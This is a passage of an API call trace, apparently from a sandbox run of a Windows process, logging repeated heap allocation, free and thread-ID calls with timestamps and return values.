hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8f8 | out: hHeap=0x2ad0000) returned 1 [0073.510] GetCurrentThreadId () returned 0x9b0 [0073.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f920 [0073.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f920 | out: hHeap=0x2ad0000) returned 1 [0073.511] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fad8 [0073.511] GetCurrentThreadId () returned 0x9b0 [0073.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fad8 | out: hHeap=0x2ad0000) returned 1 [0073.511] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8a8 [0073.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8a8 | out: hHeap=0x2ad0000) returned 1 [0073.511] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fbc8 [0073.511] GetCurrentThreadId () returned 0x9b0 [0073.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fbc8 | out: hHeap=0x2ad0000) returned 1 [0073.511] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f9c0 [0073.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f9c0 | out: hHeap=0x2ad0000) returned 1 [0073.511] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb00 [0073.511] GetCurrentThreadId () returned 0x9b0 [0073.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb00 | out: hHeap=0x2ad0000) returned 1 [0073.511] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f9c0 [0073.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f9c0 | out: hHeap=0x2ad0000) returned 1 [0073.511] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f948 [0073.511] GetCurrentThreadId () returned 0x9b0 [0073.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f948 | out: hHeap=0x2ad0000) returned 1 [0073.511] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0073.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.511] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0073.511] GetCurrentThreadId () returned 0x9b0 [0073.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.511] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f858 [0073.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f858 | out: hHeap=0x2ad0000) returned 1 [0073.511] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8a8 [0073.511] GetCurrentThreadId () returned 0x9b0 [0073.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8a8 | out: hHeap=0x2ad0000) returned 1 [0073.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fad8 [0073.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fad8 | out: hHeap=0x2ad0000) returned 1 [0073.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fbc8 [0073.512] GetCurrentThreadId () returned 0x9b0 [0073.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fbc8 | out: hHeap=0x2ad0000) returned 1 [0073.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fba0 [0073.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fba0 | out: hHeap=0x2ad0000) returned 1 [0073.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb78 [0073.512] GetCurrentThreadId () returned 0x9b0 [0073.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0073.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb78 [0073.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0073.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f858 [0073.512] GetCurrentThreadId () returned 0x9b0 [0073.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f858 | out: hHeap=0x2ad0000) returned 1 [0073.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8a8 [0073.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8a8 | out: hHeap=0x2ad0000) returned 1 [0073.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f948 [0073.512] GetCurrentThreadId () returned 0x9b0 [0073.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f948 | out: hHeap=0x2ad0000) returned 1 [0073.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8f8 [0073.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8f8 | out: hHeap=0x2ad0000) returned 1 [0073.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fad8 [0073.512] GetCurrentThreadId () returned 0x9b0 [0073.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fad8 | out: hHeap=0x2ad0000) returned 1 [0073.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8f8 [0073.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8f8 | out: hHeap=0x2ad0000) returned 1 [0073.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fba0 [0073.513] GetCurrentThreadId () returned 0x9b0 [0073.513] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fba0 | out: hHeap=0x2ad0000) returned 1 [0073.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb78 [0073.513] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0073.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0073.513] GetCurrentThreadId () returned 0x9b0 [0073.513] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f9c0 [0073.513] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f9c0 | out: hHeap=0x2ad0000) returned 1 [0073.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8f8 [0073.513] GetCurrentThreadId () returned 0x9b0 [0073.513] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8f8 | out: hHeap=0x2ad0000) returned 1 [0073.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f9c0 [0073.513] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f9c0 | out: hHeap=0x2ad0000) returned 1 [0073.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0073.513] GetCurrentThreadId () returned 0x9b0 [0073.513] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f858 [0073.513] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f858 | out: hHeap=0x2ad0000) returned 1 [0073.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb78 [0073.513] GetCurrentThreadId () returned 0x9b0 [0073.513] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0073.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb78 [0073.513] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0073.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f9c0 [0073.513] GetCurrentThreadId () returned 0x9b0 [0073.513] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f9c0 | out: hHeap=0x2ad0000) returned 1 [0073.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8f8 [0073.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8f8 | out: hHeap=0x2ad0000) returned 1 [0073.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb78 [0073.514] GetCurrentThreadId () returned 0x9b0 [0073.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0073.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8f8 [0073.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8f8 | out: hHeap=0x2ad0000) returned 1 [0073.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb78 [0073.514] GetCurrentThreadId () returned 0x9b0 [0073.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0073.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f858 [0073.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f858 | out: hHeap=0x2ad0000) returned 1 [0073.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f948 [0073.514] GetCurrentThreadId () returned 0x9b0 [0073.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f948 | out: hHeap=0x2ad0000) returned 1 [0073.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0073.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8f8 [0073.514] GetCurrentThreadId () returned 0x9b0 [0073.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8f8 | out: hHeap=0x2ad0000) returned 1 [0073.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0073.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f9c0 [0073.514] GetCurrentThreadId () returned 0x9b0 [0073.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f9c0 | out: hHeap=0x2ad0000) returned 1 [0073.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f948 [0073.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f948 | out: hHeap=0x2ad0000) returned 1 [0073.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0073.515] GetCurrentThreadId () returned 0x9b0 [0073.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f9c0 [0073.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f9c0 | out: hHeap=0x2ad0000) returned 1 [0073.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fbc8 [0073.515] GetCurrentThreadId () returned 0x9b0 [0073.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fbc8 | out: hHeap=0x2ad0000) returned 1 [0073.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0073.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f920 [0073.515] GetCurrentThreadId () returned 0x9b0 [0073.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f920 | out: hHeap=0x2ad0000) returned 1 [0073.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8a8 [0073.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8a8 | out: hHeap=0x2ad0000) returned 1 [0073.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8a8 [0073.515] GetCurrentThreadId () returned 0x9b0 [0073.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8a8 | out: hHeap=0x2ad0000) returned 1 [0073.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f920 [0073.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f920 | out: hHeap=0x2ad0000) returned 1 [0073.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f9c0 [0073.515] GetCurrentThreadId () returned 0x9b0 [0073.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f9c0 | out: hHeap=0x2ad0000) returned 1 [0073.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fbc8 [0073.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fbc8 | out: hHeap=0x2ad0000) returned 1 [0073.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0073.516] GetCurrentThreadId () returned 0x9b0 [0073.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.516] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0073.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.516] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0073.516] GetCurrentThreadId () returned 0x9b0 [0073.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.516] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f9c0 [0073.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f9c0 | out: hHeap=0x2ad0000) returned 1 [0073.516] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0073.516] GetCurrentThreadId () returned 0x9b0 [0073.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.516] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb78 [0073.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0073.516] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fba0 [0073.516] GetCurrentThreadId () returned 0x9b0 [0073.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fba0 | out: hHeap=0x2ad0000) returned 1 [0073.516] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fad8 [0073.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fad8 | out: hHeap=0x2ad0000) returned 1 [0073.516] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8a8 [0073.516] GetCurrentThreadId () returned 0x9b0 [0073.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8a8 | out: hHeap=0x2ad0000) returned 1 [0073.516] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb78 [0073.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0073.516] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0073.516] GetCurrentThreadId () returned 0x9b0 [0073.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.516] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8f8 [0073.517] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8f8 | out: hHeap=0x2ad0000) returned 1 [0073.517] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8a8 [0073.517] GetCurrentThreadId () returned 0x9b0 [0073.517] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8a8 | out: hHeap=0x2ad0000) returned 1 [0073.517] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0073.517] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.517] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fa10 [0073.517] GetCurrentThreadId () returned 0x9b0 [0073.517] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa10 | out: hHeap=0x2ad0000) returned 1 [0073.517] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8f8 [0073.517] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8f8 | out: hHeap=0x2ad0000) returned 1 [0073.517] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8f8 [0073.518] GetCurrentThreadId () returned 0x9b0 [0073.518] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8f8 | out: hHeap=0x2ad0000) returned 1 [0073.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f9c0 [0073.518] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f9c0 | out: hHeap=0x2ad0000) returned 1 [0073.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb00 [0073.518] GetCurrentThreadId () returned 0x9b0 [0073.518] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb00 | out: hHeap=0x2ad0000) returned 1 [0073.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fbf0 [0073.518] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fbf0 | out: hHeap=0x2ad0000) returned 1 [0073.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8a8 [0073.518] GetCurrentThreadId () returned 0x9b0 [0073.518] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8a8 | out: hHeap=0x2ad0000) returned 1 [0073.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f858 [0073.518] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f858 | out: hHeap=0x2ad0000) returned 1 [0073.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0073.518] GetCurrentThreadId () returned 0x9b0 [0073.518] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fa10 [0073.518] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa10 | out: hHeap=0x2ad0000) returned 1 [0073.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8f8 [0073.518] GetCurrentThreadId () returned 0x9b0 [0073.518] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8f8 | out: hHeap=0x2ad0000) returned 1 [0073.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fa10 [0073.518] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa10 | out: hHeap=0x2ad0000) returned 1 [0073.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fba0 [0073.518] GetCurrentThreadId () returned 0x9b0 [0073.518] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fba0 | out: hHeap=0x2ad0000) returned 1 [0073.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8a8 | out: hHeap=0x2ad0000) returned 1 [0073.519] GetCurrentThreadId () returned 0x9b0 [0073.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f920 | out: hHeap=0x2ad0000) returned 1 [0073.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f9e8 | out: hHeap=0x2ad0000) returned 1 [0073.519] GetCurrentThreadId () returned 0x9b0 [0073.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f9c0 | out: hHeap=0x2ad0000) returned 1 [0073.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0073.519] GetCurrentThreadId () returned 0x9b0 [0073.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f9e8 | out: hHeap=0x2ad0000) returned 1 [0073.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8f8 | out: hHeap=0x2ad0000) returned 1 [0073.519] GetCurrentThreadId () returned 0x9b0 [0073.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0073.519] GetCurrentThreadId () returned 0x9b0 [0073.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa10 | out: hHeap=0x2ad0000) returned 1 [0073.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f920 | out: hHeap=0x2ad0000) returned 1 [0073.519] GetCurrentThreadId () returned 0x9b0 [0073.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8f8 | out: hHeap=0x2ad0000) returned 1 [0073.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa10 | out: hHeap=0x2ad0000) returned 1 [0073.519] GetCurrentThreadId () returned 0x9b0 [0073.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f9e8 | out: hHeap=0x2ad0000) returned 1 [0073.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa10 | out: hHeap=0x2ad0000) returned 1 [0073.519] GetCurrentThreadId () returned 0x9b0 [0073.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0073.520] GetCurrentThreadId () returned 0x9b0 [0073.520] GetCurrentThreadId () returned 0x9b0 [0073.520] GetCurrentThreadId () returned 0x9b0 [0073.520] GetCurrentThreadId () returned 0x9b0 [0073.520] GetCurrentThreadId () returned 0x9b0 [0073.520] GetCurrentThreadId () returned 0x9b0 [0073.520] GetCurrentThreadId () returned 0x9b0 [0073.520] GetCurrentThreadId () returned 0x9b0 [0073.520] GetCurrentThreadId () returned 0x9b0 [0073.520] GetCurrentThreadId () returned 0x9b0 [0073.520] GetCurrentThreadId () returned 0x9b0 [0073.520] GetCurrentThreadId () returned 0x9b0 [0073.520] GetCurrentThreadId () returned 0x9b0 [0073.520] GetCurrentThreadId () returned 0x9b0 [0073.520] GetCurrentThreadId () returned 0x9b0 [0073.520] GetCurrentThreadId () returned 0x9b0 [0073.520] GetCurrentThreadId () returned 0x9b0 [0073.520] GetCurrentThreadId () returned 0x9b0 [0073.520] GetCurrentThreadId () returned 0x9b0 [0073.520] GetCurrentThreadId () returned 0x9b0 [0073.520] GetCurrentThreadId () returned 0x9b0 [0073.520] GetCurrentThreadId () returned 0x9b0 [0073.520] GetCurrentThreadId () returned 0x9b0 [0073.521] GetCurrentThreadId () returned 0x9b0 [0073.521] GetCurrentThreadId () returned 0x9b0 [0073.521] GetCurrentThreadId () returned 0x9b0 [0073.521] GetCurrentThreadId () returned 0x9b0 [0073.521] GetCurrentThreadId () returned 0x9b0 [0073.521] GetCurrentThreadId () returned 0x9b0 [0073.521] GetCurrentThreadId () returned 0x9b0 [0073.521] GetCurrentThreadId () returned 0x9b0 [0073.521] GetCurrentThreadId () returned 0x9b0 [0073.521] GetCurrentThreadId () returned 0x9b0 [0073.521] GetCurrentThreadId () returned 0x9b0 [0073.521] GetCurrentThreadId () returned 0x9b0 [0073.521] GetCurrentThreadId () returned 0x9b0 [0073.521] GetCurrentThreadId () returned 0x9b0 [0073.521] GetCurrentThreadId () returned 0x9b0 [0073.521] GetCurrentThreadId () returned 0x9b0 [0073.521] GetCurrentThreadId () returned 0x9b0 [0073.521] GetCurrentThreadId () returned 0x9b0 [0073.521] GetCurrentThreadId () returned 0x9b0 [0073.521] GetCurrentThreadId () returned 0x9b0 [0073.521] GetCurrentThreadId () returned 0x9b0 [0073.521] GetCurrentThreadId () returned 0x9b0 [0073.522] GetCurrentThreadId () returned 0x9b0 [0073.522] GetCurrentThreadId () returned 0x9b0 [0073.522] GetCurrentThreadId () returned 0x9b0 [0073.522] GetCurrentThreadId () returned 0x9b0 [0073.522] GetCurrentThreadId () returned 0x9b0 [0073.522] GetCurrentThreadId () returned 0x9b0 [0073.522] GetCurrentThreadId () returned 0x9b0 [0073.522] GetCurrentThreadId () returned 0x9b0 [0073.522] GetCurrentThreadId () returned 0x9b0 [0073.522] GetCurrentThreadId () returned 0x9b0 [0073.522] GetCurrentThreadId () returned 0x9b0 [0073.522] GetCurrentThreadId () returned 0x9b0 [0073.522] GetCurrentThreadId () returned 0x9b0 [0073.522] GetCurrentThreadId () returned 0x9b0 [0073.522] GetCurrentThreadId () returned 0x9b0 [0073.522] GetCurrentThreadId () returned 0x9b0 [0073.522] GetCurrentThreadId () returned 0x9b0 [0073.522] GetCurrentThreadId () returned 0x9b0 [0073.522] GetCurrentThreadId () returned 0x9b0 [0073.523] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a182f8, Size=0x20) returned 0x2a1fa10 [0073.523] RtlReAllocateHeap (Heap=0x2ad0000, 